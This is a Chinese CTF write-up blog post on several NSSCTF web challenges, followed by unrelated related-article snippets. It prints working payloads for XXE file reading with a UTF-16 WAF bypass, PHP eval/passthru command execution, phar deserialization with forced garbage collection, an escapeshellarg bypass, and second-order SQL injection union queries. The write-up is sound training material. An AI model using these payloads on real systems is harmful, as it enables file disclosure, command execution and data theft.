NSSCTF第12页(2)

news2024/9/20 1:10:56

[CSAWQual 2019]Unagi

是xxe注入,等找时间会专门去学一下

   XML外部实体(XXE)注入 - 知乎

【精选】XML注入学习-CSDN博客

【精选】XML注入_xml注入例子-CSDN博客

题目描述说flag在/flag下

发现有上传点,上传一句话木马试试

文件类型不行

看见提示说在链接处得到上传例子

You can check out the format example here

发现是xml文件格式

看到这里就有了整体的思路,就是要用xxe注入,上传xml格式文件

通用模板

 <?xml version="1.0"?>

<!DOCTYPE  ANY [ <!ENTITY entityex SYSTEM "file:///"etc/password"> ]>

下边接题中所给的user

因为给了flag文件的路径,所以直接用/flag

payload:

<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
    <user>
        <username>bob</username>
        <password>passwd2</password>
        <name> Bob</name>
        <email>bob@fakesite.com</email>  
        <group>CSAW2019</group>
        <intro>&xxe;</intro>
    </user>
</users>

发现还是没绕过防火墙

看wp才知道要用utf-16编码

kali 命令-编码转换

iconv -f utf8 -t utf16 1.xml>2.xml

上传得到flag

[FSCTF 2023]EZ_eval 

rce,正则限制了好多

cp 命令详解_cp命令-CSDN博客

以为cp可以利用,但是发现不行

题目是eval,利用eval函数执行php代码

关键就是过滤了?号和空格还有eval执行时用了php的结束标志表示php代码到此为止了

可以用php短标签,有三种方式:

    ​<? echo '123';?> #前提是开启配置参数short_open_tags=on​​

    ​<script language="php">echo 'hello'; #不需要修改参数开关,但是只能在7.0以下可用。​​

    ​<% echo '123';%> #开启配置参数asp_tags=on,并且只能在7.0以下版本使用​​

这里利用到了一个没学过的函数passsthru()

PHP系统程序执行函数(system,passthru,exec)简单分析(附代码)-php教程-PHP中文网

php system执行shell,php命令执行函数–shell_exec()、passthru()、exec()、system()与防止命令执行漏洞函数..._周行文的博客-CSDN博客 

passthru

— 执行外部程序并且显示原始输出

void passthru ( string $command [, int &$return_var ] )

范例

<?php
        passthru("ls");
?>

执行结果:

index.phptest.php

payload :

 /?word=​<script%09language="php">passthru("ta\c%09/f*");

用%09绕过空格,其它的我都试了一遍,没绕过

用\绕过tac的限制

*通配符绕过flag的关键字

得到flag

prize_p1

代码审计一下

 首先有getflag类,内容就是输出$FLAG,触发条件为__destruct;然后就是A类的文件写入和读取。最后就是对GET[0]的关键字判断,通过后反序列化GET[0]。

prize1 | bilala's blog  参考wp

 思路:

因为正则过滤了flag,所以无法直接触发getflag类;转眼去看A类,既然有任意内容写入+任意文件读取+类,优先考虑phar反序列化

那我们就先利用A类的写文件功能写入一个phar文件,其中phar文件的metadata部分设置为getflag类,其中phar文件的metadata部分设置为getflag类,这样phar://读取之后,其中的metadata部分的数据就被反序列化,getflag就生成了,再最后程序结束触发__destruct获取flag 

绕过preg_match,可以采用数组绕过的方法

这道题主要有两个考点————————>Phar反序列化 和强制GC销毁类

浅谈php GC(垃圾回收)机制及其与CTF的一点缘分 - 码农教程 

从一道题再看phar的利用-安全客 - 安全资讯平台 

关键绕过:

throw Error使得我们的类没有被销毁,所以如何触发__destruct方法成为了一个问题 

在写入文件时,我们需要带入的getflag类中还是包含了flag这个关键字,还是会被拦住。所以我们还需要想办法绕过这个关键字,同时还得保证phar://读取时仍可以反序列化其中的数据

强制GC触发__destruct

在PHP中,正常触发析构函数(__destruct)有三种方法:

①程序正常结束

②主动调用unset($aa)

③将原先指向类的变量取消对类的引用,即$aa = 其他值;

前两种很好理解,我们来讲讲第三种

PHP中的垃圾回收Garbage collection机制,利用引用计数和回收周期自动管理内存对象。当一个对象没有被引用时,PHP就会将其视为“垃圾”,这个”垃圾“会被回收,回收过程中就会触发析构函数

class bilala{

    public function __construct($count){

        $this->count = $count;

    }

    public function __destruct(){

        echo $this->count."destruct触发";

    }

}

$aa = new bilala(1);

//这里的bilala对象就不是垃圾,因为他被$aa所引用

new bilala(2);

//这里的就是垃圾(也就是匿名对象),new出来后没被引用,就会被当作垃圾回收(所以触发析构)

echo PHP_EOL."**********************************".PHP_EOL;

$aa = new bilala(3);

//这里将$aa指向了另一个对象的引用,所以原先的对象触发析构

echo PHP_EOL."**********************************".PHP_EOL;

//程序结束,触发析构

所以在这道题中,我们可以利用取消原本对getflag的引用,从而触发他的析构函数。 

操作如下,在phar的metadata中写入的内容为a:2:{i:0;O:7:"getflag":0:{}i:0;N;}

这样的话,当phar://反序列化其中的数据时(反序列化时是按顺序执行的),先反出a[0]的数据,也就是a[0]=getflag类,再接着反序列化时,又将a[0]设为了NULL,那就和上述所说的一致了,getflag类被取消了引用,所以会触发他的析构函数,从而获得flag

参考wp写的很详细,就不一一赘述了,PHP反序列化需要很深的功底才能学的好

010editor中修改,将对应的位由1改成0,然后保存 

 phar文件是修改成功了,但这个时候这个phar是处于损坏状态的,因为我们修改了前面的数据导致后面的签名对不上。这个时候,我们还需要手动计算出这个新phar文件的签名,查看PHP手册找到phar的签名格式

 我们刚刚的phar的签名标志位为0x0002,为SHA1签名,所以我们要计算的是出的字节是[-28:-8],用脚本计算我们新的phar文件的签名,并重新写入文件(也可以导出为新文件)

可以对phar.phar文件做以上这些处理,使其成为乱码,从而绕过关键字的检测。

gzip

直接在Linux中gzip压缩一下,然后通过POST[0]上传这个文件,再读取flag

脚本执行,得到flag

 [广东强网杯 2021 团队组]love_Pokemon

人傻了

 获得hint.php的条件就是先满足switch这个循环 当满足case为 bulbasaur! 的时候它才会去执行下面这个匹配函数

 

那么这个就是说输入的字符串不包含lv100,但是经过escapeshellarg()处理之后含有lv100

这里就是一个escapeshellarg() 的考点

escapeshellarg 的作用是把字符串转码为可以在 shell 命令里使用的参数。(escapeshellarg 和 escapeshellcmd 相似,主要看是否有引号)

那么这里就可以使用漏洞:escapeshellarg()这个函数在处理超过ASCII码范围的字符的时候会直接过滤掉该字符串

那么我们直接我们可以用%81去绕过,因为%81为不可见字符(当然还有其他的)

paylaod:myfavorite=bulbasaur!&levelup=lv%81100

得到提示:

 

想获得flag那我们就要去找输出口 显然shell_exec()就是我们需要的函数 

 

那么这里有个条件就是 post传入的dream的长度不能超过20字节

那我们直接传入dream=cat /FLAG 肯定是不行的,因为上边存在过滤

把flag(大小写)和空格一些字符都过滤了那么这里的重点就是如何绕过 

读取文件:

使用od命令

od 是一个在Unix和Linux系统上可用的命令行工具,用于以不同的格式显示文件的内容。它的名称代表"octal dump"(八进制转储),因为它最初的目的是以八进制形式显示文件的内容

如何绕过FLAG

这里用到了[]通配的形式,由于黑名单中有A何L这两个字符,因此构造F[B-Z][@-Z]G,这样就能匹配上ASCII表中的@到Z之间的所有字符

最终的payload:myfavorite=mewtwo&dream=od%09/F[B-Z][@-Z]G 

得到八进制

转换成10进制得到flag

 [October 2019]Twice SQL Injection

是sql二次注入

 SQL注入之二次注入_吃花椒地喵酱的博客-CSDN博客

 首先我们尝试注册,登录都使用sql语句

发现没任何卵用

 

发现用admin成功注册进到主页

 

注入 1' or 1=1# 

 

发现回显:

因此我们可以通过注册+登录,来注册恶意的用户名(就是将sql语句当用户名写入数据库中) 

先进行注册

用户名:1' union select database()#

密码:1(下边密码都是这个)

登录发现了数据库名

接着就是用这种方式进行注入

查表

1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'#

 

查列

1' union select group_concat(column_name) from information_schema.columns where table_name='flag'#

 

查字段内容

 1' union select flag from flag#

得到flag

 

 

 

 

 

 

 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1212811.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C语言不可不敲系列:跳水比赛排名问题

目录 1题干&#xff1a; 2解题思路&#xff1a; 3代码: 4运行结果: 5总结: 1题干&#xff1a; 5位运动员参加了10米台跳水比赛&#xff0c;有人让他们预测比赛结果 A选手说&#xff1a;B第二&#xff0c;我第三&#xff1b; B选手说&#xff1a;我第二&#xff0c;E第四&am…

5种方法,教你如何清理接口测试后的测试数据!

在接口测试之后&#xff0c;清理测试数据是一个很重要的步骤&#xff0c;以确保下一次测试的准确性和一致性。以下是一些常见的测试数据清理方法&#xff1a; 1. 手动清理&#xff1a; 这是最基本的方法&#xff0c;即手动删除或重置测试数据。您可以通过访问数据库、控制台或…

4、智能家居框架设计和代码文件工程建立

目录 一、智能家居项目框架 二、智能家居工厂模式示意 三、代码文件工程建立 SourceInsight创建新工程步骤 一、智能家居项目框架 二、智能家居工厂模式示意 三、代码文件工程建立 创建一个名为si的文件夹用于保存SourceInsight生成的文件信息&#xff0c;然后在SourceInsig…

SOLIDWORKS Flow Simulation阀门内流体仿真

Flow Simulation 导读 阀门作为输送系统中的控制设备其主要功能是接通管路中的流体介质,又或是调节流体的流量、压力等&#xff0c;在阀门的设计中&#xff0c;流量系数Cv,Kv&#xff0c;以及流阻系数都是基本参数&#xff0c;本节将讲解通过SOLIDWORKS Flow Simulation在三维…

记录一次 添加脚本的记录+改错记录

1.Update 和 Delete 一定要记得where条件 update 表名称 set 字段1‘修改的值’ &#xff08;单引号&#xff09; where 字段‘’ and Aid‘’; update jxkh22 set JXKH2200001 ,JXKH2201002 where B003 and JXKH22034;delete from table_name where condition delete from …

from PIL import Image报错

ERROR: Could not find a version that satisfies the requirement PIL (from versions: none) ERROR: No matching distribution found for PIL 报错原因&#xff1a;PIL导包是用的from PIL import Image&#xff0c;但是安装的时候是Pillow库 正确的包名为&#xff1a;Pillo…

15分钟,不,用模板做数据可视化只需5分钟

测试显示&#xff0c;一个对奥威BI软件不太熟悉的人来开发数据可视化报表&#xff0c;要15分钟&#xff0c;而当这个人去套用数据可视化模板做报表&#xff0c;只需5分钟&#xff01; 数据可视化模板是奥威BI上的一个特色功能板块。用户下载后更新数据源&#xff0c;立即就能获…

ALPC_Natural_Selection

刚刚结束的ICPC2023沈阳是自然选择号的最后一场 XCPC 区域赛&#xff0c;很高兴也很幸运能拿到校排名 rk4&#xff0c;圆了一个这半年才开始做的梦。在这里讲一下这支队伍的故事。 组队、训练 本来和wjy666&#xff08;aka maple&#xff09;打完 EC Final 之后是想要退役的&…

linux高级篇基础理论一(详细文档、Apache,网站,MySQL、MySQL备份工具)

♥️作者&#xff1a;小刘在C站 ♥️个人主页&#xff1a; 小刘主页 ♥️不能因为人生的道路坎坷,就使自己的身躯变得弯曲;不能因为生活的历程漫长,就使求索的 脚步迟缓。 ♥️学习两年总结出的运维经验&#xff0c;以及思科模拟器全套网络实验教程。专栏&#xff1a;云计算技…

基于乌鸦算法优化概率神经网络PNN的分类预测 - 附代码

基于乌鸦算法优化概率神经网络PNN的分类预测 - 附代码 文章目录 基于乌鸦算法优化概率神经网络PNN的分类预测 - 附代码1.PNN网络概述2.变压器故障诊街系统相关背景2.1 模型建立 3.基于乌鸦优化的PNN网络5.测试结果6.参考文献7.Matlab代码 摘要&#xff1a;针对PNN神经网络的光滑…

go语言 | 图解反射(二)

reflect.Value 和 reflect.Type 反射有两种类型 reflect.Value 和 reflect.Type &#xff0c;分别表示变量的值和类型&#xff0c;并且提供了两个函数 reflect.ValueOf 和 reflect.TypeOf 分别获取任意对象的 reflect.Value 和 reflect.Type。 reflect.Value reflect.Value 可…

Using Definition View 使用定义视图

You use Definition view to create definitions within a defined hierarchical structure, in which nodes represent the definitions. A node is the visual representation of a section, step, or action that you can select, collapse,modify, and so on. 您可以使用“…

JVM虚拟机——类加载器(JDK8及以前,打破双亲委派机制)(JDK9之后的类加载器)

目录 1.自定义类加载器2.线程上下文类加载器3.OSGi模块化4.JDK9之后的类加载器5.类加载器总结 1.自定义类加载器 ⚫ 一个Tomcat程序中是可以运行多个Web应用的&#xff0c;如果这两个应用中出现了相同限定名的类&#xff0c;比如Servlet类&#xff0c;Tomcat要保证这两个类都能…

nestJs(三) 数据库

真正的服务往往包括数据存储。 本篇将介绍如何建立 NestJs 的数据库连接、并使用数据库联表查询。这样就就是完整的后台服务了。 开发准备 下载并安装 Mysql创建 school 库 create database school;3.安装 nestjs/typeorm typeorm mysql2 npm install --save nestjs/typeor…

医学图像 开源数据整理合集1

本文为医学图像 开源数据整理合集&#xff0c;为科研数据提供方便和检索。 目录 1 NIH database of 100000 Chest X-rays 2 The Cancer Imaging Archive (TCIA) 3 National Institute for Mental Healths (NIMHs) OpenNeuro.org 4 RSNAs Quantitative Imaging Data Wareh…

css技巧分享(优惠券缺角样式实现)

主要知识点&#xff1a;radial-gradient radial-gradient() CSS 函数创建一个图像&#xff0c;该图像由从原点辐射的两种或多种颜色之间的渐进过渡组成。它的形状可以是圆形或椭圆形。函数的结果是 数据类型的对象。这是一种特别的 。 .coupon{width: 190rpx;height: 194rpx;b…

QGIS之二十栅格数据定义投影

效果 步骤 1、准备数据 2、定义投影 Qgis工具箱中搜索“投影” 指定投影坐标系&#xff0c;例如EPSG&#xff1a;4549 运行 3、结果 查看属性

炫酷爱心表白

一、代码 <!DOCTYPE html> <!-- saved from url(0051)https://httishere.gitee.io/notion/v4/love-name.html --> <html><head><meta http-equiv"Content-Type" content"text/html; charsetUTF-8"><title>&#x1f4…

Linux系统进程与进程间通信

Linux是一个多用户、多任务的操作系统&#xff0c;支持多个进程同时运行。进程是Linux系统中的基本单元&#xff0c;它们负责执行各种任务&#xff0c;如网页浏览、文件下载、程序运行等。在Linux中&#xff0c;进程是由一个或多个线程组成的&#xff0c;线程是进程的基本执行单…

VSCode配置MingW编译调试环境

1.MingW简介 MinGW&#xff0c;即 Minimalist GNU For Windows。它是一些头文件和端口库的集合&#xff0c;该集合允许人们在没有第三方动态链接库的情况下使用 GCC&#xff08;GNU Compiler C&#xff09;产生 Windows32 程序。 实际上 MinGW 并不是一个 C/C 编译器&#xf…